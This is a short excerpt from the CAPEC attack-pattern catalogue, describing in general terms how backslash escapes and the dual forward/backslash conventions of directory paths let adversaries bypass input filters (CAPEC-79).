This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.